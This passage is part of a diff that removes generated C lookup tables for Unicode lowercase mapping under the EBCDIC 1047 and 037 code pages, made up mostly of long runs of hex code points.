0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F18, - 0x1F1E, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F48, - 0x1F4E, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB8, - 0x1FBA, - 0x1FBC, - 0x1FBD, - 0x1FC8, - 0x1FCC, - 0x1FCD, - 0x1FD8, - 0x1FDA, - 0x1FDC, - 0x1FE8, - 0x1FEA, - 0x1FEC, - 0x1FED, - 0x1FF8, - 0x1FFA, - 0x1FFC, - 0x1FFD, - 0x2126, - 0x2127, - 0x212A, - 0x212B, - 0x212C, - 0x2132, - 0x2133, - 0x2160, - 0x2170, - 0x2183, - 0x2184, - 0x24B6, - 0x24D0, - 0x2C00, - 0x2C2F, - 0x2C60, - 0x2C61, - 0x2C62, - 0x2C63, - 0x2C64, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C6E, - 0x2C6F, - 0x2C70, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C80, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CF2, - 0x2CF3, - 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77E, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AB, - 0xA7AC, - 0xA7AD, - 0xA7AE, - 0xA7AF, - 0xA7B0, - 0xA7B1, - 0xA7B2, - 0xA7B3, - 0xA7B4, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xFF21, - 0xFF3B, - 0x10400, - 0x10428, - 0x104B0, - 0x104D4, - 0x10C80, - 0x10CB3, - 0x118A0, - 0x118C0, - 0x1E900, - 0x1E922 -}; - -/* Negative enum values indicate the need to use an auxiliary table - * consisting of the list of enums this one expands to. The absolute - * values of the negative enums are indices into a table of the auxiliary - * tables' addresses */ -typedef enum { - LC_0 = 0, - LC_use_AUX_TABLE_1 = -1 -} LC_enum; - -#define HAS_LC_AUX_TABLES - -static const unsigned int LC_AUX_TABLE_1[] = { - 0x89, - 0x307 -}; - -static const unsigned int * const LC_AUX_TABLE_ptrs[] = { - NULL, /* Placeholder */ - LC_AUX_TABLE_1 -}; - -/* Parallel table to the above, giving the number of elements in each table - * pointed to */ -static const U8 LC_AUX_TABLE_lengths[] = { - 0, /* Placeholder */ - 2 /* LC_AUX_TABLE_1 */ -}; - -static const int Lowercase_Mapping_invmap[] = { /* for EBCDIC 1047 */ - 0, - 0x42, - 0, - 0x51, - 0, - 0x70, - 0, - 0x9C, - 0, - 0x8C, - 0, - 0x8E, - 0, - 0x8D, - 0, - 0x81, - 0, - 0x91, - 0, - 0xA2, - 0, - 0xCB, - 0, - 0xDB, - 0, - 0x101, - 0, - 0x103, - 0, - 0x105, - 0, - 0x107, - 0, - 0x109, - 0, - 0x10B, - 0, - 0x10D, - 0, - 0x10F, - 0, - 0x111, - 0, - 0x113, - 0, - 0x115, - 0, - 0x117, - 0, - 0x119, - 0, - 0x11B, - 0, - 0x11D, - 0, - 0x11F, - 0, - 0x121, - 0, - 0x123, - 0, - 0x125, - 0, - 0x127, - 0, - 0x129, - 0, - 0x12B, - 0, - 0x12D, - 0, - 0x12F, - 0, - LC_use_AUX_TABLE_1, - 0, - 0x133, - 0, - 0x135, - 0, - 0x137, - 0, - 0x13A, - 0, - 0x13C, - 0, - 0x13E, - 0, - 0x140, - 0, - 0x142, - 0, - 0x144, - 0, - 0x146, - 0, - 0x148, - 0, - 0x14B, - 0, - 0x14D, - 0, - 0x14F, - 0, - 0x151, - 0, - 0x153, - 0, - 0x155, - 0, - 0x157, - 0, - 0x159, - 0, - 0x15B, - 0, - 0x15D, - 0, - 0x15F, - 0, - 0x161, - 0, - 0x163, - 0, - 0x165, - 0, - 0x167, - 0, - 0x169, - 0, - 0x16B, - 0, - 0x16D, - 0, - 0x16F, - 0, - 0x171, - 0, - 0x173, - 0, - 0x175, - 0, - 0x177, - 0, - 0xDF, - 0x17A, - 0, - 0x17C, - 0, - 0x17E, - 0, - 0x253, - 0x183, - 0, - 0x185, - 0, - 0x254, - 0x188, - 0, - 0x256, - 0x18C, - 0, - 0x1DD, - 0x259, - 0x25B, - 0x192, - 0, - 0x260, - 0x263, - 0, - 0x269, - 0x268, - 0x199, - 0, - 0x26F, - 0x272, - 0, - 0x275, - 0x1A1, - 0, - 0x1A3, - 0, - 0x1A5, - 0, - 0x280, - 0x1A8, - 0, - 0x283, - 0, - 0x1AD, - 0, - 0x288, - 0x1B0, - 0, - 0x28A, - 0x1B4, - 0, - 0x1B6, - 0, - 0x292, - 0x1B9, - 0, - 0x1BD, - 0, - 0x1C6, - 0x1C6, - 0, - 0x1C9, - 0x1C9, - 0, - 0x1CC, - 0x1CC, - 0, - 0x1CE, - 0, - 0x1D0, - 0, - 0x1D2, - 0, - 0x1D4, - 0, - 0x1D6, - 0, - 0x1D8, - 0, - 0x1DA, - 0, - 0x1DC, - 0, - 0x1DF, - 0, - 0x1E1, - 0, - 0x1E3, - 0, - 0x1E5, - 0, - 0x1E7, - 0, - 0x1E9, - 0, - 0x1EB, - 0, - 0x1ED, - 0, - 0x1EF, - 0, - 0x1F3, - 0x1F3, - 0, - 0x1F5, - 0, - 0x195, - 0x1BF, - 0x1F9, - 0, - 0x1FB, - 0, - 0x1FD, - 0, - 0x1FF, - 0, - 0x201, - 0, - 0x203, - 0, - 0x205, - 0, - 0x207, - 0, - 0x209, - 0, - 0x20B, - 0, - 0x20D, - 0, - 0x20F, - 0, - 0x211, - 0, - 0x213, - 0, - 0x215, - 0, - 0x217, - 0, - 0x219, - 0, - 0x21B, - 0, - 0x21D, - 0, - 0x21F, - 0, - 0x19E, - 0, - 0x223, - 0, - 0x225, - 0, - 0x227, - 0, - 0x229, - 0, - 0x22B, - 0, - 0x22D, - 0, - 0x22F, - 0, - 0x231, - 0, - 0x233, - 0, - 0x2C65, - 0x23C, - 0, - 0x19A, - 0x2C66, - 0, - 0x242, - 0, - 0x180, - 0x289, - 0x28C, - 0x247, - 0, - 0x249, - 0, - 0x24B, - 0, - 0x24D, - 0, - 0x24F, - 0, - 0x371, - 0, - 0x373, - 0, - 0x377, - 0, - 0x3F3, - 0, - 0x3AC, - 0, - 0x3AD, - 0, - 0x3CC, - 0, - 0x3CD, - 0, - 0x3B1, - 0, - 0x3C3, - 0, - 0x3D7, - 0, - 0x3D9, - 0, - 0x3DB, - 0, - 0x3DD, - 0, - 0x3DF, - 0, - 0x3E1, - 0, - 0x3E3, - 0, - 0x3E5, - 0, - 0x3E7, - 0, - 0x3E9, - 0, - 0x3EB, - 0, - 0x3ED, - 0, - 0x3EF, - 0, - 0x3B8, - 0, - 0x3F8, - 0, - 0x3F2, - 0x3FB, - 0, - 0x37B, - 0x450, - 0x430, - 0, - 0x461, - 0, - 0x463, - 0, - 0x465, - 0, - 0x467, - 0, - 0x469, - 0, - 0x46B, - 0, - 0x46D, - 0, - 0x46F, - 0, - 0x471, - 0, - 0x473, - 0, - 0x475, - 0, - 0x477, - 0, - 0x479, - 0, - 0x47B, - 0, - 0x47D, - 0, - 0x47F, - 0, - 0x481, - 0, - 0x48B, - 0, - 0x48D, - 0, - 0x48F, - 0, - 0x491, - 0, - 0x493, - 0, - 0x495, - 0, - 0x497, - 0, - 0x499, - 0, - 0x49B, - 0, - 0x49D, - 0, - 0x49F, - 0, - 0x4A1, - 0, - 0x4A3, - 0, - 0x4A5, - 0, - 0x4A7, - 0, - 0x4A9, - 0, - 0x4AB, - 0, - 0x4AD, - 0, - 0x4AF, - 0, - 0x4B1, - 0, - 0x4B3, - 0, - 0x4B5, - 0, - 0x4B7, - 0, - 0x4B9, - 0, - 0x4BB, - 0, - 0x4BD, - 0, - 0x4BF, - 0, - 0x4CF, - 0x4C2, - 0, - 0x4C4, - 0, - 0x4C6, - 0, - 0x4C8, - 0, - 0x4CA, - 0, - 0x4CC, - 0, - 0x4CE, - 0, - 0x4D1, - 0, - 0x4D3, - 0, - 0x4D5, - 0, - 0x4D7, - 0, - 0x4D9, - 0, - 0x4DB, - 0, - 0x4DD, - 0, - 0x4DF, - 0, - 0x4E1, - 0, - 0x4E3, - 0, - 0x4E5, - 0, - 0x4E7, - 0, - 0x4E9, - 0, - 0x4EB, - 0, - 0x4ED, - 0, - 0x4EF, - 0, - 0x4F1, - 0, - 0x4F3, - 0, - 0x4F5, - 0, - 0x4F7, - 0, - 0x4F9, - 0, - 0x4FB, - 0, - 0x4FD, - 0, - 0x4FF, - 0, - 0x501, - 0, - 0x503, - 0, - 0x505, - 0, - 0x507, - 0, - 0x509, - 0, - 0x50B, - 0, - 0x50D, - 0, - 0x50F, - 0, - 0x511, - 0, - 0x513, - 0, - 0x515, - 0, - 0x517, - 0, - 0x519, - 0, - 0x51B, - 0, - 0x51D, - 0, - 0x51F, - 0, - 0x521, - 0, - 0x523, - 0, - 0x525, - 0, - 0x527, - 0, - 0x529, - 0, - 0x52B, - 0, - 0x52D, - 0, - 0x52F, - 0, - 0x561, - 0, - 0x2D00, - 0, - 0x2D27, - 0, - 0x2D2D, - 0, - 0xAB70, - 0x13F8, - 0, - 0x1E01, - 0, - 0x1E03, - 0, - 0x1E05, - 0, - 0x1E07, - 0, - 0x1E09, - 0, - 0x1E0B, - 0, - 0x1E0D, - 0, - 0x1E0F, - 0, - 0x1E11, - 0, - 0x1E13, - 0, - 0x1E15, - 0, - 0x1E17, - 0, - 0x1E19, - 0, - 0x1E1B, - 0, - 0x1E1D, - 0, - 0x1E1F, - 0, - 0x1E21, - 0, - 0x1E23, - 0, - 0x1E25, - 0, - 0x1E27, - 0, - 0x1E29, - 0, - 0x1E2B, - 0, - 0x1E2D, - 0, - 0x1E2F, - 0, - 0x1E31, - 0, - 0x1E33, - 0, - 0x1E35, - 0, - 0x1E37, - 0, - 0x1E39, - 0, - 0x1E3B, - 0, - 0x1E3D, - 0, - 0x1E3F, - 0, - 0x1E41, - 0, - 0x1E43, - 0, - 0x1E45, - 0, - 0x1E47, - 0, - 0x1E49, - 0, - 0x1E4B, - 0, - 0x1E4D, - 0, - 0x1E4F, - 0, - 0x1E51, - 0, - 0x1E53, - 0, - 0x1E55, - 0, - 0x1E57, - 0, - 0x1E59, - 0, - 0x1E5B, - 0, - 0x1E5D, - 0, - 0x1E5F, - 0, - 0x1E61, - 0, - 0x1E63, - 0, - 0x1E65, - 0, - 0x1E67, - 0, - 0x1E69, - 0, - 0x1E6B, - 0, - 0x1E6D, - 0, - 0x1E6F, - 0, - 0x1E71, - 0, - 0x1E73, - 0, - 0x1E75, - 0, - 0x1E77, - 0, - 0x1E79, - 0, - 0x1E7B, - 0, - 0x1E7D, - 0, - 0x1E7F, - 0, - 0x1E81, - 0, - 0x1E83, - 0, - 0x1E85, - 0, - 0x1E87, - 0, - 0x1E89, - 0, - 0x1E8B, - 0, - 0x1E8D, - 0, - 0x1E8F, - 0, - 0x1E91, - 0, - 0x1E93, - 0, - 0x1E95, - 0, - 0x59, - 0, - 0x1EA1, - 0, - 0x1EA3, - 0, - 0x1EA5, - 0, - 0x1EA7, - 0, - 0x1EA9, - 0, - 0x1EAB, - 0, - 0x1EAD, - 0, - 0x1EAF, - 0, - 0x1EB1, - 0, - 0x1EB3, - 0, - 0x1EB5, - 0, - 0x1EB7, - 0, - 0x1EB9, - 0, - 0x1EBB, - 0, - 0x1EBD, - 0, - 0x1EBF, - 0, - 0x1EC1, - 0, - 0x1EC3, - 0, - 0x1EC5, - 0, - 0x1EC7, - 0, - 0x1EC9, - 0, - 0x1ECB, - 0, - 0x1ECD, - 0, - 0x1ECF, - 0, - 0x1ED1, - 0, - 0x1ED3, - 0, - 0x1ED5, - 0, - 0x1ED7, - 0, - 0x1ED9, - 0, - 0x1EDB, - 0, - 0x1EDD, - 0, - 0x1EDF, - 0, - 0x1EE1, - 0, - 0x1EE3, - 0, - 0x1EE5, - 0, - 0x1EE7, - 0, - 0x1EE9, - 0, - 0x1EEB, - 0, - 0x1EED, - 0, - 0x1EEF, - 0, - 0x1EF1, - 0, - 0x1EF3, - 0, - 0x1EF5, - 0, - 0x1EF7, - 0, - 0x1EF9, - 0, - 0x1EFB, - 0, - 0x1EFD, - 0, - 0x1EFF, - 0, - 0x1F00, - 0, - 0x1F10, - 0, - 0x1F20, - 0, - 0x1F30, - 0, - 0x1F40, - 0, - 0x1F51, - 0, - 0x1F53, - 0, - 0x1F55, - 0, - 0x1F57, - 0, - 0x1F60, - 0, - 0x1F80, - 0, - 0x1F90, - 0, - 0x1FA0, - 0, - 0x1FB0, - 0x1F70, - 0x1FB3, - 0, - 0x1F72, - 0x1FC3, - 0, - 0x1FD0, - 0x1F76, - 0, - 0x1FE0, - 0x1F7A, - 0x1FE5, - 0, - 0x1F78, - 0x1F7C, - 0x1FF3, - 0, - 0x3C9, - 0, - 0x92, - 0x47, - 0, - 0x214E, - 0, - 0x2170, - 0, - 0x2184, - 0, - 0x24D0, - 0, - 0x2C30, - 0, - 0x2C61, - 0, - 0x26B, - 0x1D7D, - 0x27D, - 0, - 0x2C68, - 0, - 0x2C6A, - 0, - 0x2C6C, - 0, - 0x251, - 0x271, - 0x250, - 0x252, - 0, - 0x2C73, - 0, - 0x2C76, - 0, - 0x23F, - 0x2C81, - 0, - 0x2C83, - 0, - 0x2C85, - 0, - 0x2C87, - 0, - 0x2C89, - 0, - 0x2C8B, - 0, - 0x2C8D, - 0, - 0x2C8F, - 0, - 0x2C91, - 0, - 0x2C93, - 0, - 0x2C95, - 0, - 0x2C97, - 0, - 0x2C99, - 0, - 0x2C9B, - 0, - 0x2C9D, - 0, - 0x2C9F, - 0, - 0x2CA1, - 0, - 0x2CA3, - 0, - 0x2CA5, - 0, - 0x2CA7, - 0, - 0x2CA9, - 0, - 0x2CAB, - 0, - 0x2CAD, - 0, - 0x2CAF, - 0, - 0x2CB1, - 0, - 0x2CB3, - 0, - 0x2CB5, - 0, - 0x2CB7, - 0, - 0x2CB9, - 0, - 0x2CBB, - 0, - 0x2CBD, - 0, - 0x2CBF, - 0, - 0x2CC1, - 0, - 0x2CC3, - 0, - 0x2CC5, - 0, - 0x2CC7, - 0, - 0x2CC9, - 0, - 0x2CCB, - 0, - 0x2CCD, - 0, - 0x2CCF, - 0, - 0x2CD1, - 0, - 0x2CD3, - 0, - 0x2CD5, - 0, - 0x2CD7, - 0, - 0x2CD9, - 0, - 0x2CDB, - 0, - 0x2CDD, - 0, - 0x2CDF, - 0, - 0x2CE1, - 0, - 0x2CE3, - 0, - 0x2CEC, - 0, - 0x2CEE, - 0, - 0x2CF3, - 0, - 0xA641, - 0, - 0xA643, - 0, - 0xA645, - 0, - 0xA647, - 0, - 0xA649, - 0, - 0xA64B, - 0, - 0xA64D, - 0, - 0xA64F, - 0, - 0xA651, - 0, - 0xA653, - 0, - 0xA655, - 0, - 0xA657, - 0, - 0xA659, - 0, - 0xA65B, - 0, - 0xA65D, - 0, - 0xA65F, - 0, - 0xA661, - 0, - 0xA663, - 0, - 0xA665, - 0, - 0xA667, - 0, - 0xA669, - 0, - 0xA66B, - 0, - 0xA66D, - 0, - 0xA681, - 0, - 0xA683, - 0, - 0xA685, - 0, - 0xA687, - 0, - 0xA689, - 0, - 0xA68B, - 0, - 0xA68D, - 0, - 0xA68F, - 0, - 0xA691, - 0, - 0xA693, - 0, - 0xA695, - 0, - 0xA697, - 0, - 0xA699, - 0, - 0xA69B, - 0, - 0xA723, - 0, - 0xA725, - 0, - 0xA727, - 0, - 0xA729, - 0, - 0xA72B, - 0, - 0xA72D, - 0, - 0xA72F, - 0, - 0xA733, - 0, - 0xA735, - 0, - 0xA737, - 0, - 0xA739, - 0, - 0xA73B, - 0, - 0xA73D, - 0, - 0xA73F, - 0, - 0xA741, - 0, - 0xA743, - 0, - 0xA745, - 0, - 0xA747, - 0, - 0xA749, - 0, - 0xA74B, - 0, - 0xA74D, - 0, - 0xA74F, - 0, - 0xA751, - 0, - 0xA753, - 0, - 0xA755, - 0, - 0xA757, - 0, - 0xA759, - 0, - 0xA75B, - 0, - 0xA75D, - 0, - 0xA75F, - 0, - 0xA761, - 0, - 0xA763, - 0, - 0xA765, - 0, - 0xA767, - 0, - 0xA769, - 0, - 0xA76B, - 0, - 0xA76D, - 0, - 0xA76F, - 0, - 0xA77A, - 0, - 0xA77C, - 0, - 0x1D79, - 0xA77F, - 0, - 0xA781, - 0, - 0xA783, - 0, - 0xA785, - 0, - 0xA787, - 0, - 0xA78C, - 0, - 0x265, - 0, - 0xA791, - 0, - 0xA793, - 0, - 0xA797, - 0, - 0xA799, - 0, - 0xA79B, - 0, - 0xA79D, - 0, - 0xA79F, - 0, - 0xA7A1, - 0, - 0xA7A3, - 0, - 0xA7A5, - 0, - 0xA7A7, - 0, - 0xA7A9, - 0, - 0x266, - 0x25C, - 0x261, - 0x26C, - 0x26A, - 0, - 0x29E, - 0x287, - 0x29D, - 0xAB53, - 0xA7B5, - 0, - 0xA7B7, - 0, - 0xFF41, - 0, - 0x10428, - 0, - 0x104D8, - 0, - 0x10CC0, - 0, - 0x118C0, - 0, - 0x1E922, - 0 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV Lowercase_Mapping_invlist[] = { /* for EBCDIC 037 */ - 1251, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x62, - 0x6A, - 0x71, - 0x79, - 0x80, - 0x81, - 0x9E, - 0x9F, - 0xAC, - 0xAF, - 0xC1, - 0xCA, - 0xD1, - 0xDA, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x179, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x182, - 0x183, - 0x184, - 0x185, - 0x186, - 0x187, - 0x188, - 0x189, - 0x18B, - 0x18C, - 0x18E, - 0x18F, - 0x190, - 0x191, - 0x192, - 0x193, - 0x194, - 0x195, - 0x196, - 0x197, - 0x198, - 0x199, - 0x19C, - 0x19D, - 0x19E, - 0x19F, - 0x1A0, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A7, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1AF, - 0x1B0, - 0x1B1, - 0x1B3, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B8, - 0x1B9, - 0x1BC, - 0x1BD, - 0x1C4, - 0x1C5, - 0x1C6, - 0x1C7, - 0x1C8, - 0x1C9, - 0x1CA, - 0x1CB, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F2, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F7, - 0x1F8, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23B, - 0x23C, - 0x23D, - 0x23E, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x244, - 0x245, - 0x246, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x370, - 0x371, - 0x372, - 0x373, - 0x376, - 0x377, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x390, - 0x391, - 0x3A2, - 0x3A3, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FA, - 0x3FB, - 0x3FD, - 0x400, - 0x410, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, 